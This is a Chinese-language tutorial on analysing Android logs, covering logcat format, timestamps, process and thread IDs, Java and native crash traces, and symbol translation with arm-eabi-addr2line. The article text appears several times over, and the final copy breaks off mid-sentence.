signal11是Linux定义的信号之一,含义是Invalidmemory reference,无效的内存引用。加上后面的“faultaddr 00000000”我们基本可以判定这是一个空指针导致的crash。当然这是笔者为了讲解而特地制造的一个Crash的例子,比较容易判断,大部分实际的例子可能就没有那么容易了。  再接下来的log打印出了cpu的所有寄存器的信息和堆栈的信息,这里面最重要的是从堆栈中得到的backtrace信息:  I/DEBUG ( 127):backtrace:  I/DEBUG ( 127): #00 pc0000045e /system/bin/testapp  I/DEBUG ( 127): #01 pc0000046b /system/bin/testapp  I/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)  I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp  因为实际的运行系统里没有符号信息,所以打印出的log里看不出文件名和行数。这就需要我们借助编译时留下的符号信息表来翻译了。Android提供了一个工具可以来做这种翻译工作:arm-eabi-addr2line,位于prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin目录下。用法很简单:  #./arm-eabi-addr2line -f -eout/target/product/hammerhead/symbols/system/bin/testapp0x0000045e  参数-f表示打印函数名;参数-e表示带符号表的模块路径;最后是要转换的地址。这条命令在笔者的编译环境中得到的结果是:  memcpy /home/rd/compile/android-4.4_r1.2/bionic/libc/include/string.h:108  剩余三个地址翻译如下:  main /home/rd/compile/android-4.4_r1.2/packages/apps/testapp/app_main.cpp:38  out_vformat /home/rd/compile/android-4.4_r1.2/bionic/libc/bionic/libc_logging.cpp:361  _start libgcc2.c:0  利用这些信息我们很快就能定位问题了。不过这样手动一条一条的翻译比较麻烦,笔者使用的是从网上找到的一个脚本,可以一次翻译所有的行,有需要的读者可以在网上找一找。  转载

如何分析Android的Log

首先,让我们看一看AndroidLog的格式。下面这段log是以所谓的long格式打印出来的。从前面Logcat的介绍中可以知道,long格式会把时间,标签等作为单独的一行显示。[ 12-09 21:39:35.510 396: 416 I/ActivityManager ]Start procnet.coollet.infzmreader:umengService_v1 for servicenet.coollet.infzmreader/com.umeng.message.UmengService:pid=21745 uid=10039 gids={50039, 3003, 1015,1028}[ 12-09 21:39:35.518 21745:21745I/dalvikvm ]Turning on JNI app bug workarounds fortarget SDK version 8...[ 12-09 21:39:35.611 21745:21745D/AgooService ]onCreate()我们以第一行为例:12-09 是日期,21:39:35.510是时间396是进程号,416是线程号;I代表log优先级,ActivityManager是log标签。在应用开发中,这些信息的作用可能不是很大。但是在系统开发中,这些都是很重要的辅助信息。开发工程师分析的log很多都是由测试工程师抓取的,所以可能有些log根本就不是当时出错的log。如果出现这种情况,无论你怎么分析都不太可能得出正确的结论。如何能最大限度的避免这种情况呢?笔者就要求测试工程师报bug时必须填上bug发生的时间。这样结合log里的时间戳信息就能大致判断是否是发生错误时的log。而且根据测试工程师提供的bug发生时间点,开发工程师可以在长长的log信息中快速的定位错误的位置,缩小分析的范围。同时我们也要注意,时间信息在log分析中可能被错误的使用。例如:在分析多线程相关的问题时,我们有时需要根据两段不同线程中log语句执行的先后顺序来判断错误发生的原因,但是我们不能以两段log在log文件中出现的先后做为判断的条件,这是因为在小段时间内两个线程输出log的先后是随机的,log打印的先后顺序并不完全等同于执行的顺序。那么我们是否能以log的时间戳来判断呢?同样是不可以,因为这个时间戳实际上是系统打印输出log时的时间,并不是调用log函数时的时间。遇到这种情况唯一的办法是在输出log前,调用系统时间函数获取当时时间,然后再通过log信息打印输出。这样虽然麻烦一点,但是只有这样取得的时间才是可靠的,才能做为我们判断的依据。另外一种误用log中时间戳的情况是用它来分析程序的性能。一个有多年工作经验的工程师拿着他的性能分析结果给笔者看,但是笔者对这份和实际情况相差很远的报告表示怀疑,于是询问这位工程师是如何得出结论的。他的回答让笔者很惊讶,他计算所采用的数据就是log信息前面的时间戳。前面我们已经讲过,log前面时间戳和调用log函数的时间并不相同,这是由于系统缓冲log信息引起的,而且这两个时间的时间差并不固定。所以用log信息前附带的时间戳来计算两段log间代码的性能会有比较大的误差。正确的方法还是上面提到的:在程序中获取系统时间然后打印输出,利用我们打印的时间来计算所花费的时间。了解了时间,我们再谈谈进程Id和线程Id,它们也是分析log时很重要的依据。我们看到的log文件,不同进程的log信息实际上是混杂在一起输出的,这给我们分析log带来了很大的麻烦。有时即使是一个函数内的两条相邻的log,也会出现不同进程的log交替输出的情况,也就是A进程的第一条log后面跟着的是B进程的第二条log,对于这样的组合如果不细心分析,就很容易得出错误的结论。这时一定要仔细看log前面的进程Id,把相同Id的log放到一起看。不同进程的log有这样的问题,不同的线程输出的log当然也存在着相同的问题。Logcat加上-vthread就能打印出线程Id。但是有一点也要引起注意,就是Android的线程Id和我们平时所讲的Linux线程Id并不完全等同。首先,在Android系统中,C++层使用的Linux获取线程Id的函数gettid()是不能得到线程Id的,调用gettid()实际上返回的是进程Id。作为替代,我们可以调用pthread_self()得到一个唯一的值来标示当前的native线程。Android也提供了一个函数androidGetThreaId()来获取线程Id,这个函数实际上就是在调用pthread_self函数。但是在Java层线程Id又是另外一个值,Java层的线程Id是通过调用Thread的getId方法得到的,这个方法的返回值实际上来自Android在每个进程的java层中维护的一个全局变量,所以这个值和C++层所获得的值并不相同。这也是我们分析log时要注意的问题,如果是Java层线程Id,一般值会比较小,几百左右;如果是C++层的线程,值会比较大。在前里面的log样本中,就能很容易的看出,第一条log是Jave层输出的log,第二条是native层输出的。明白了这些,我们在分析log时就不要看见两段log前面的线程Id不相同就得出是两个不同线程log的简单结论,还要注意Jave层和native层的区别,这样才能防止被误导。AndroidLog的优先级在打印输出时会被转换成V,I,D,W,E等简单的字符标记。在做系统log分析时,我们很难把一个log文件从头看到尾,都是利用搜索工具来查找出错的标记。比如搜索“E/”来看看有没有指示错误的log。所以如果参与系统开发的每个工程师都能遵守Android定义的优先级含义来输出log,这会让我们繁重的log分析工作变得相对轻松些。Android比较常见的严重问题有两大类,一是程序发生崩溃;二是产生了ANR。程序崩溃和ANR既可能发生在java层,也可能发生在native层。如果问题发生在java层,出错的原因一般比较容易定位。如果是native层的问题,在很多情况下,解决问题就不是那么的容易了。我们先看一个java层的崩溃例子:I/ActivityManager( 396): Start proccom.test.crash for activity com.test.crash/.MainActivity:pid=1760 uid=10065 gids={50065, 1028}D/AndroidRuntime( 1760): Shutting downVMW/dalvikvm( 1760): threadid=1: threadexiting with uncaught exception(group=0x40c38930)E/AndroidRuntime( 1760): FATALEXCEPTION: mainE/AndroidRuntime( 1760):java.lang.RuntimeException: Unable to start activityComponentInfo{com.test.crash/com.test.crash.MainActivity}:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2180)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2230)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.access$600(ActivityThread.java:141)E/AndroidRuntime( 1760): atandroid.app.ActivityThread$H.handleMessage(ActivityThread.java:1234)E/AndroidRuntime( 1760): atandroid.os.Handler.dispatchMessage(Handler.java:99)E/AndroidRuntime( 1760): atandroid.os.Looper.loop(Looper.java:137)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.main(ActivityThread.java:5050)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invokeNative(NativeMethod)E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invoke(Method.java:511)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:793)E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)E/AndroidRuntime( 1760): atdalvik.system.NativeStart.main(NativeMethod)E/AndroidRuntime( 1760): Caused by:java.lang.NullPointerExceptionE/AndroidRuntime( 1760): atcom.test.crash.MainActivity.setViewText(MainActivity.java:29)E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.onCreate(MainActivity.java:17)E/AndroidRuntime( 1760): atandroid.app.Activity.performCreate(Activity.java:5104)E/AndroidRuntime( 1760): atandroid.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1080)E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2144)E/AndroidRuntime( 1760): ... 11moreI/Process ( 1760): Sending signal.PID: 1760 SIG: 9W/ActivityManager( 396): Force finishing activitycom.test.crash/.MainActivityJave层的代码发生crash问题时,系统往往会打印出很详细的出错信息。比如上面这个例子,不但给出了出错的原因,还有出错的文件和行数。根据这些信息,我们会很容易的定位问题所在。native层的crash虽然也有栈log信息输出,但是就不那么容易看懂了。下面我们再看一个native层crash的例子:F/libc ( 2102): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread2102 (testapp)D/dalvikvm(26630):GC_FOR_ALLOC freed 604K, 11% free 11980K/13368K, paused 36ms, total36msI/dalvikvm-heap(26630):Grow heap (frag case) to 11.831MB for 102416-byteallocationD/dalvikvm(26630):GC_FOR_ALLOC freed 1K, 11% free 12078K/13472K, paused 34ms, total34msI/DEBUG ( 127):*** *** *** *** *** *** *** *** *** *** *** *** *** *** ******I/DEBUG ( 127):Build fingerprint:"Android/full_maguro/maguro:4.2.2/JDQ39/eng.liuchao.20130619.201255:userdebug/test-keys"I/DEBUG ( 127):Revision: "9"I/DEBUG ( 127):pid: 2102, tid: 2102, name: testapp >>>./testapp <<<I/DEBUG ( 127):signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr00000000I/DEBUG ( 127): r0 00000020 r173696874 r2 400ff520 r300000000I/DEBUG ( 127): r4 400ff469 r5beb4ab24 r6 00000001 r7beb4ab2cI/DEBUG ( 127): r8 00000000 r900000000 sl 00000000 fpbeb4ab1cI/DEBUG ( 127): ip 4009b5dc spbeb4aae8 lr 400ff46f pc400ff45e cpsr 60000030I/DEBUG ( 127): d0 000000004108dae8 d1 4108ced84108cec8I/DEBUG ( 127): d2 4108cef84108cee8 d3 4108cf184108cf08I/DEBUG ( 127): d4 4108c5a84108c598 d5 4108ca084108c5b8I/DEBUG ( 127): d6 4108ce684108ce58 d7 4108ce884108ce78I/DEBUG ( 127): d8 0000000000000000 d9 0000000000000000I/DEBUG ( 127): d10 0000000000000000 d110000000000000000I/DEBUG ( 127): d120000000000000000 d130000000000000000I/DEBUG ( 127): d14 0000000000000000 d150000000000000000I/DEBUG ( 127): d16 c1dcf7c087fec8b4 d173f50624dd2f1a9fcI/DEBUG ( 127): d18 41c7b1ac89800000 d190000000000000000I/DEBUG ( 127): d20 0000000000000000 d210000000000000000I/DEBUG ( 127): d22 0000000000000000 d230000000000000000I/DEBUG ( 127): d24 0000000000000000 d250000000000000000I/DEBUG ( 127): d26 0000000000000000 d270000000000000000I/DEBUG ( 127): d28 0000000000000000 d290000000000000000I/DEBUG ( 127): d30 0000000000000000 d310000000000000000I/DEBUG ( 127): scr 00000010I/DEBUG ( 127):I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testappI/DEBUG ( 127):I/DEBUG ( 127):stack:I/DEBUG ( 127): beb4aaa8 000000c8 I/DEBUG ( 127): beb4aaac 00000000 I/DEBUG ( 127): beb4aab0 00000000 I/DEBUG ( 127): beb4aab4 401cbee0 /system/bin/linkerI/DEBUG ( 127): beb4aab8 00001000 I/DEBUG ( 127): beb4aabc 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac0 4020191d /system/lib/libc.so (__libc_fini)I/DEBUG ( 127): beb4aac4 40100eac /system/bin/testappI/DEBUG ( 127): beb4aac8 00000000 I/DEBUG ( 127): beb4aacc 400ff469 /system/bin/testappI/DEBUG ( 127): beb4aad0 beb4ab24 [stack]I/DEBUG ( 127): beb4aad4 00000001 I/DEBUG ( 127): beb4aad8 beb4ab2c [stack]I/DEBUG ( 127): beb4aadc 00000000 I/DEBUG ( 127): beb4aae0 df0027ad I/DEBUG ( 127): beb4aae4 00000000 I/DEBUG ( 127): #00 beb4aae8 00000000 I/DEBUG ( 127): ........ ........I/DEBUG ( 127): #01 beb4aae8 00000000 I/DEBUG ( 127): beb4aaec 401e9721 /system/lib/libc.so (__libc_init+40)I/DEBUG ( 127): #02 beb4aaf0 beb4ab08 [stack]I/DEBUG ( 127): beb4aaf4 00000000 I/DEBUG ( 127): beb4aaf8 00000000 I/DEBUG ( 127): beb4aafc 00000000 I/DEBUG ( 127): beb4ab00 00000000 I/DEBUG ( 127): beb4ab04 400ff404 /system/bin/testappI/DEBUG ( 127):这个log就不那么容易懂了,但是还是能从中看出很多信息,让我们一起来学习如何分析这种log。首先看下面这行:pid: 2102, tid: 2102,name: testapp >>>./testapp <<<从这一行我们可以知道crash进程的pid和tid,前文我们已经提到过,Android调用gettid函数得到的实际是进程Id号,所以这里的pid和tid相同。知道进程号后我们可以往前翻翻log,看看该进程最后一次打印的log是什么,这样能缩小一点范围。接下来内容是进程名和启动参数。再接下来的一行比较重要了,它告诉了我们从系统角度看,出错的原因:signal 11 (SIGSEGV), code 1(SEGV_MAPERR), fault addr 00000000signal11是Linux定义的信号之一,含义是Invalidmemory reference,无效的内存引用。加上后面的“faultaddr 00000000”我们基本可以判定这是一个空指针导致的crash。当然这是笔者为了讲解而特地制造的一个Crash的例子,比较容易判断,大部分实际的例子可能就没有那么容易了。再接下来的log打印出了cpu的所有寄存器的信息和堆栈的信息,这里面最重要的是从堆栈中得到的backtrace信息:I/DEBUG ( 127):backtrace:I/DEBUG ( 127): #00 pc0000045e /system/bin/testappI/DEBUG ( 127): #01 pc0000046b /system/bin/testappI/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp因为实际的运行系统里没有符号信息,所以打印出的log里看不出文件名和行数。这就需要我们借助编译时留下的符号信息表来翻译了。Android提供了一个工具可以来做这种翻译工作:arm-eabi-addr2line,位于prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin目录下。用法很简单:#./arm-eabi-addr2line -f -eout/target/product/hammerhead/symbols/system/bin/testapp0x0000045e参数-f表示打印函数名;参数-e表示带符号表的模块路径;最后是要转换的地址。这条命令在笔者的编译环境中得到的结果是:memcpy /home/rd/compile/android-4.4_r1.2/bionic/libc/include/string.h:108剩余三个地址翻译如下:main /home/rd/compile/android-4.4_r1.2/packages/apps/testapp/app_main.cpp:38out_vformat /home/rd/compile/android-4.4_r1.2/bionic/libc/bionic/libc_logging.cpp:361_start libgcc2.c:0利用这些信息我们很快就能定位问题了。不过这样手动一条一条的翻译比较麻烦,笔者使用的是从网上找到的一个脚本,可以一次翻译所有的行,有需要的读者可以在网上找一找。了解了如何分析普通的Log文件,下面让我们再看看如何分析ANR的Log文件。

如何分析Android的Log

  首先,让我们看一看AndroidLog的格式。下面这段log是以所谓的long格式打印出来的。从前面Logcat的介绍中可以知道,long格式会把时间,标签等作为单独的一行显示。  [ 12-09 21:39:35.510 396: 416 I/ActivityManager ]  Start procnet.coollet.infzmreader:umengService_v1 for service  net.coollet.infzmreader/com.umeng.message.  UmengService:pid=21745 uid=10039 gids={50039, 3003, 1015,1028}  [ 12-09 21:39:35.518 21745:21745I/dalvikvm ]  Turning on JNI app bug workarounds fortarget SDK version 8...  [ 12-09 21:39:35.611 21745:21745D/AgooService ]  onCreate()  我们以第一行为例:12-09 是日期,21:39:35.510是时间396是进程号,416是线程号;I代表log优先级,ActivityManager是log标签。  在应用开发中,这些信息的作用可能不是很大。但是在系统开发中,这些都是很重要的辅助信息。开发工程师分析的log很多都是由测试工程师抓取的,所以可能有些log根本就不是当时出错的log。如果出现这种情况,无论你怎么分析都不太可能得出正确的结论。如何能最大限度的避免这种情况呢?笔者就要求测试工程师报bug时必须填上bug发生的时间。这样结合log里的时间戳信息就能大致判断是否是发生错误时的log。而且根据测试工程师提供的bug发生时间点,开发工程师可以在长长的log信息中快速的定位错误的位置,缩小分析的范围。  同时我们也要注意,时间信息在log分析中可能被错误的使用。例如:在分析多线程相关的问题时,我们有时需要根据两段不同线程中log语句执行的先后顺序来判断错误发生的原因,但是我们不能以两段log在log文件中出现的先后做为判断的条件,这是因为在小段时间内两个线程输出log的先后是随机的,log打印的先后顺序并不完全等同于执行的顺序。那么我们是否能以log的时间戳来判断呢?同样是不可以,因为这个时间戳实际上是系统打印输出log时的时间,并不是调用log函数时的时间。遇到这种情况唯一的办法是在输出log前,调用系统时间函数获取当时时间,然后再通过log信息打印输出。这样虽然麻烦一点,但是只有这样取得的时间才是可靠的,才能做为我们判断的依据。  另外一种误用log中时间戳的情况是用它来分析程序的性能。一个有多年工作经验的工程师拿着他的性能分析结果给笔者看,但是笔者对这份和实际情况相差很远的报告表示怀疑,于是询问这位工程师是如何得出结论的。他的回答让笔者很惊讶,他计算所采用的数据就是log信息前面的时间戳。前面我们已经讲过,log前面时间戳和调用log函数的时间并不相同,这是由于系统缓冲log信息引起的,而且这两个时间的时间差并不固定。所以用log信息前附带的时间戳来计算两段log间代码的性能会有比较大的误差。正确的方法还是上面提到的:在程序中获取系统时间然后打印输出,利用我们打印的时间来计算所花费的时间。  了解了时间,我们再谈谈进程Id和线程Id,它们也是分析log时很重要的依据。我们看到的log文件,不同进程的log信息实际上是混杂在一起输出的,这给我们分析log带来了很大的麻烦。有时即使是一个函数内的两条相邻的log,也会出现不同进程的log交替输出的情况,也就是A进程的第一条log后面跟着的是B进程的第二条log,对于这样的组合如果不细心分析,就很容易得出错误的结论。这时一定要仔细看log前面的进程Id,把相同Id的log放到一起看。  不同进程的log有这样的问题,不同的线程输出的log当然也存在着相同的问题。Logcat加上-vthread就能打印出线程Id。但是有一点也要引起注意,就是Android的线程Id和我们平时所讲的Linux线程Id并不完全等同。首先,在Android系统中,C++层使用的Linux获取线程Id的函数gettid()是不能得到线程Id的,调用gettid()实际上返回的是进程Id。作为替代,我们可以调用pthread_self()得到一个唯一的值来标示当前的native线程。Android也提供了一个函数androidGetThreaId()来获取线程Id,这个函数实际上就是在调用pthread_self函数。但是在Java层线程Id又是另外一个值,Java层的线程Id是通过调用Thread的getId方法得到的,这个方法的返回值实际上来自Android在每个进程的java层中维护的一个全局变量,所以这个值和C++层所获得的值并不相同。这也是我们分析log时要注意的问题,如果是Java层线程Id,一般值会比较小,几百左右;如果是C++层的线程,值会比较大。在前里面的log样本中,就能很容易的看出,第一条log是Jave层输出的log,第二条是native层输出的。明白了这些,我们在分析log时就不要看见两段log前面的线程Id不相同就得出是两个不同线程log的简单结论,还要注意Jave层和native层的区别,这样才能防止被误导。  AndroidLog的优先级在打印输出时会被转换成V,I,D,W,E等简单的字符标记。在做系统log分析时,我们很难把一个log文件从头看到尾,都是利用搜索工具来查找出错的标记。比如搜索“E/”来看看有没有指示错误的log。所以如果参与系统开发的每个工程师都能遵守Android定义的优先级含义来输出log,这会让我们繁重的log分析工作变得相对轻松些。  Android比较常见的严重问题有两大类,一是程序发生崩溃;二是产生了ANR。程序崩溃和ANR既可能发生在java层,也可能发生在native层。如果问题发生在java层,出错的原因一般比较容易定位。如果是native层的问题,在很多情况下,解决问题就不是那么的容易了。我们先看一个java层的崩溃例子:  I/ActivityManager( 396): Start proccom.test.crash for activity com.test.crash/.MainActivity:  pid=1760 uid=10065 gids={50065, 1028}  D/AndroidRuntime( 1760): Shutting downVM  W/dalvikvm( 1760): threadid=1: threadexiting with uncaught exception(group=0x40c38930)  E/AndroidRuntime( 1760): FATALEXCEPTION: main  E/AndroidRuntime( 1760):java.lang.RuntimeException: Unable to start activityComponentInfo  {com.test.crash/com.test.crash.MainActivity}:java.lang.NullPointerException  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2180)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2230)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.access$600(ActivityThread.java:141)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread$H.handleMessage(ActivityThread.java:1234)  E/AndroidRuntime( 1760): atandroid.os.Handler.dispatchMessage(Handler.java:99)  E/AndroidRuntime( 1760): atandroid.os.Looper.loop(Looper.java:137)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.main(ActivityThread.java:5050)  E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invokeNative(NativeMethod)  E/AndroidRuntime( 1760): atjava.lang.reflect.Method.invoke(Method.java:511)  E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit$MethodAndArgsCaller.run  (ZygoteInit.java:793)  E/AndroidRuntime( 1760): atcom.android.internal.os.ZygoteInit.main(ZygoteInit.java:560)  E/AndroidRuntime( 1760): atdalvik.system.NativeStart.main(NativeMethod)  E/AndroidRuntime( 1760): Caused by:java.lang.NullPointerException  E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.setViewText(MainActivity.java:29)  E/AndroidRuntime( 1760): atcom.test.crash.MainActivity.onCreate(MainActivity.java:17)  E/AndroidRuntime( 1760): atandroid.app.Activity.performCreate(Activity.java:5104)  E/AndroidRuntime( 1760): atandroid.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1080)  E/AndroidRuntime( 1760): atandroid.app.ActivityThread.performLaunchActivity(ActivityThread.java:2144)  E/AndroidRuntime( 1760): ... 11more  I/Process ( 1760): Sending signal.PID: 1760 SIG: 9  W/ActivityManager( 396): Force finishing activitycom.test.crash/.MainActivity  Jave层的代码发生crash问题时,系统往往会打印出很详细的出错信息。比如上面这个例子,不但给出了出错的原因,还有出错的文件和行数。根据这些信息,我们会很容易的定位问题所在。native层的crash虽然也有栈log信息输出,但是就不那么容易看懂了。下面我们再看一个native层crash的例子:  F/libc ( 2102): Fatal signal 11 (SIGSEGV) at 0x00000000 (code=1), thread2102 (testapp)  D/dalvikvm(26630):GC_FOR_ALLOC freed 604K, 11% free 11980K/13368K, paused 36ms, total36ms  I/dalvikvm-heap(26630):Grow heap (frag case) to 11.831MB for 102416-byteallocation  D/dalvikvm(26630):GC_FOR_ALLOC freed 1K, 11% free 12078K/13472K, paused 34ms, total34ms  I/DEBUG ( 127):*** *** *** *** *** *** *** *** *** *** *** *** *** *** ******  I/DEBUG ( 127):Build fingerprint:  "Android/full_maguro/maguro:4.2.2/JDQ39/eng.liuchao.20130619.201255:userdebug/test-keys"  I/DEBUG ( 127):Revision: "9"  I/DEBUG ( 127):pid: 2102, tid: 2102, name: testapp >>>./testapp <<<  I/DEBUG ( 127):signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr00000000  I/DEBUG ( 127): r0 00000020 r173696874 r2 400ff520 r300000000  I/DEBUG ( 127): r4 400ff469 r5beb4ab24 r6 00000001 r7beb4ab2c  I/DEBUG ( 127): r8 00000000 r900000000 sl 00000000 fpbeb4ab1c  I/DEBUG ( 127): ip 4009b5dc spbeb4aae8 lr 400ff46f pc400ff45e cpsr 60000030  I/DEBUG ( 127): d0 000000004108dae8 d1 4108ced84108cec8  I/DEBUG ( 127): d2 4108cef84108cee8 d3 4108cf184108cf08  I/DEBUG ( 127): d4 4108c5a84108c598 d5 4108ca084108c5b8  I/DEBUG ( 127): d6 4108ce684108ce58 d7 4108ce884108ce78  I/DEBUG ( 127): d8 0000000000000000 d9 0000000000000000  I/DEBUG ( 127): d10 0000000000000000 d110000000000000000  I/DEBUG ( 127): d120000000000000000 d130000000000000000  I/DEBUG ( 127): d14 0000000000000000 d150000000000000000  I/DEBUG ( 127): d16 c1dcf7c087fec8b4 d173f50624dd2f1a9fc  I/DEBUG ( 127): d18 41c7b1ac89800000 d190000000000000000  I/DEBUG ( 127): d20 0000000000000000 d210000000000000000  I/DEBUG ( 127): d22 0000000000000000 d230000000000000000  I/DEBUG ( 127): d24 0000000000000000 d250000000000000000  I/DEBUG ( 127): d26 0000000000000000 d270000000000000000  I/DEBUG ( 127): d28 0000000000000000 d290000000000000000  I/DEBUG ( 127): d30 0000000000000000 d310000000000000000  I/DEBUG ( 127): scr 00000010  I/DEBUG ( 127):  I/DEBUG ( 127):backtrace:  I/DEBUG ( 127): #00 pc0000045e /system/bin/testapp  I/DEBUG ( 127): #01 pc0000046b /system/bin/testapp  I/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)  I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp  I/DEBUG ( 127):  I/DEBUG ( 127):stack:  I/DEBUG ( 127): beb4aaa8 000000c8  I/DEBUG ( 127): beb4aaac 00000000  I/DEBUG ( 127): beb4aab0 00000000  I/DEBUG ( 127): beb4aab4 401cbee0 /system/bin/linker  I/DEBUG ( 127): beb4aab8 00001000  I/DEBUG ( 127): beb4aabc 4020191d /system/lib/libc.so (__libc_fini)  I/DEBUG ( 127): beb4aac0 4020191d /system/lib/libc.so (__libc_fini)  I/DEBUG ( 127): beb4aac4 40100eac /system/bin/testapp  I/DEBUG ( 127): beb4aac8 00000000  I/DEBUG ( 127): beb4aacc 400ff469 /system/bin/testapp  I/DEBUG ( 127): beb4aad0 beb4ab24 [stack]  I/DEBUG ( 127): beb4aad4 00000001  I/DEBUG ( 127): beb4aad8 beb4ab2c [stack]  I/DEBUG ( 127): beb4aadc 00000000  I/DEBUG ( 127): beb4aae0 df0027ad  I/DEBUG ( 127): beb4aae4 00000000  I/DEBUG ( 127): #00 beb4aae8 00000000  I/DEBUG ( 127): ........ ........  I/DEBUG ( 127): #01 beb4aae8 00000000  I/DEBUG ( 127): beb4aaec 401e9721 /system/lib/libc.so (__libc_init+40)  I/DEBUG ( 127): #02 beb4aaf0 beb4ab08 [stack]  I/DEBUG ( 127): beb4aaf4 00000000  I/DEBUG ( 127): beb4aaf8 00000000  I/DEBUG ( 127): beb4aafc 00000000  I/DEBUG ( 127): beb4ab00 00000000  I/DEBUG ( 127): beb4ab04 400ff404 /system/bin/testapp  I/DEBUG ( 127):  这个log就不那么容易懂了,但是还是能从中看出很多信息,让我们一起来学习如何分析这种log。首先看下面这行:  pid: 2102, tid: 2102,name: testapp >>>./testapp <<<  从这一行我们可以知道crash进程的pid和tid,前文我们已经提到过,Android调用gettid函数得到的实际是进程Id号,所以这里的pid和tid相同。知道进程号后我们可以往前翻翻log,看看该进程最后一次打印的log是什么,这样能缩小一点范围。  接下来内容是进程名和启动参数。再接下来的一行比较重要了,它告诉了我们从系统角度看,出错的原因:  signal 11 (SIGSEGV), code 1(SEGV_MAPERR), fault addr 00000000  signal11是Linux定义的信号之一,含义是Invalidmemory reference,无效的内存引用。加上后面的“faultaddr 00000000”我们基本可以判定这是一个空指针导致的crash。当然这是笔者为了讲解而特地制造的一个Crash的例子,比较容易判断,大部分实际的例子可能就没有那么容易了。  再接下来的log打印出了cpu的所有寄存器的信息和堆栈的信息,这里面最重要的是从堆栈中得到的backtrace信息:  I/DEBUG ( 127):backtrace:  I/DEBUG ( 127): #00 pc0000045e /system/bin/testapp  I/DEBUG ( 127): #01 pc0000046b /system/bin/testapp  I/DEBUG ( 127): #02 pc0001271f /system/lib/libc.so (__libc_init+38)  I/DEBUG ( 127): #03 pc00000400 /system/bin/testapp  因为实际的运行系统里没有符号信息,所以打印出的log里看不出文件名和行数。这就需要我们借助编译时留下的符号信息表来翻译了。Android提供了一个工具可以来做这种翻译工作:arm-eabi-addr2line,位于prebuilts/gcc/linux-x86/arm/arm-eabi-4.6/bin目录下。用法很简单:  #./arm-eabi-addr2line -f -eout/target/product/hammerhead/symbols/system/bin/testapp0x0000045e  参数-f表示打印函数名;参数-e表示带符号表的模块路径;最后是要转换的地址。这条命令在笔者的编译环境中得到的结果是:  memcpy /home/rd/compile/android-4.4_r1.2/bionic/libc/include/string.h:108  剩余三个地址翻译如下:  main /home/rd/compile/android-4.4_r1.2/packages/apps/testapp/app_main.cpp:38  out_vformat /home/rd/compile/android-4.4_r1.2/bionic/libc/bionic/libc_logging.cpp:361  _start libgcc2.c:0  利用这些信息我们很快就能定位问题了。不过这样手动一条一条的翻译比较麻烦,笔者使用的是从网上找到的一个脚本,可以一次翻译所有的行,有需要的读者可以在网上找一找。  了解了如何分析普通的Log文件,下面让我们再看看如何分析ANR的Log文件。

如何分析Android的Log

首先,让我们看一看AndroidLog的格式。下面这段log是以所谓的long格式打印出来的。从前面Logcat的介绍中可以知道,long格式会把时间,标签等作为单独的一行显示。[ 12-09 21:39:35.510 396: 416 I/ActivityManager ]Start procnet.coollet.infzmreader:umengService_v1 for servicenet.coollet.infzmreader/com.umeng.message.UmengService:pid=21745 uid=10039 gids={50039, 3003, 1015,1028}[ 12-09 21:39:35.518 21745:21745I/dalvikvm ]Turning on JNI app bug workarounds fortarget SDK version 8...[ 12-09 21:39:35.611 21745:21745D/AgooService ]onCreate()我们以第一行为例:12-09 